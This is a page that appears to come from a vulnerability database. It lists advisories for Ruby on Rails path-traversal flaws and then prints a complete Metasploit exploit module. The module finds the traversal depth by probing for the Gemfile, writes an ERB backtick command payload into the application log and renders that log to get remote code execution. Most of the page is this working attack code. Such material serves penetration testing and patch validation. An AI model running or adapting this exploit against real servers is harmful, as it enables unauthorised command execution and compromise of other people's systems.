| Reporter | Title | Published | Views | Family All 160 |
|---|---|---|---|---|
| Ruby on Rails Dynamic Render File Upload Remote Code Execution | 15 Oct 201600:00 | – | zdt | |
| Exploit for Path Traversal in Rubyonrails Rails | 26 Jan 201615:25 | – | githubexploit | |
| CVE-2016-2097 | 7 Apr 201600:00 | – | attackerkb | |
| CVE-2014-0130 | 7 May 201400:00 | – | attackerkb | |
| CVE-2016-0752 | 16 Feb 201600:00 | – | attackerkb | |
| rails -- multiple vulnerabilities | 25 Jan 201600:00 | – | freebsd | |
| The vulnerability of the Ruby on Rails software platform, which allows a hacker to read arbitrary files | 17 Mar 201600:00 | – | bdu_fstec | |
| ruby193 security update | 21 May 201417:54 | – | centos | |
| CVE-2014-0130 | 30 Jun 201821:50 | – | circl | |
| CVE-2016-0752 | 17 Oct 201600:00 | – | circl |
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
@@trav_string = '%5c%2e%2e%2f'
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails Dynamic Render Directory Traversal + Code Exec',
'Description' => %q{
This module exploits a remote code execution vulnerability in the explicit render
method when leveraging user parameters.
This module has been tested across multiple versions of RoR 3.x and RoR 4.x
The technique used by this module requires the specified endpoint to be using
dynamic render paths, such as the following example:
def show
render params[:id]
end
},
'Author' =>
[
'John Poulin (forced-request)'
],
'License' => MSF_LICENSE,
'Platform' => 'ruby',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet'
}
},
'Privileged' => true,
'Targets' =>
[
[ 'CMD',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
]
],
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/user"]),
OptString.new('LOGFILE', [ true, 'The environment\'s log file', 'log%2fdevelopment%2elog']),
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST', 'PUT'] ]),
OptString.new('COOKIES', [ false, 'HTTP headers, including auth headers and cookies', ''])
], self.class)
end
def vuln
desired_location = 'Gemfile'
# Initial payload
p = desired_location
# Search for depth up to 10 to detect if server is vuln
11.times do |i|
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH'], p),
'method' => datastore['HTTP_METHOD'],
'cookie' => datastore['COOKIES']
}, 60)
# Check if response contains Gemfile info
if res.body.match(/^gem /)
@depth = i
print_good("It appears that this application is vulnerable")
return true
end
# Prepare next payload
p = @@trav_string + p
end
return false
end
def send_payload
p = datastore['LOGFILE']
(@depth).times do |i|
p = @@trav_string + p
end
p = p + "?p=%3c%25%20%60" + CGI::escape(payload.encoded) + "%60%25%3e"
print_status("Sending payload: #{p}")
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH'], p),
'method' => datastore['HTTP_METHOD'],
'cookie' => datastore['COOKIES']
}, 60)
end
def render_log
p = datastore['LOGFILE']
(@depth).times do |i|
p = @@trav_string + p
end
res = send_request_cgi({
'uri' => normalize_uri(datastore['URIPATH'], p),
'method' => datastore['HTTP_METHOD'],
'cookie' => datastore['COOKIES']
}, 60)
end
#
# Send the actual request
#
def exploit
print_status("Sending initial request to detect exploitability")
# Check if vulnerable
if vuln
print_status("Attempting to exploit")
send_payload
else
print_error("Application does not appear vulnerable")
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation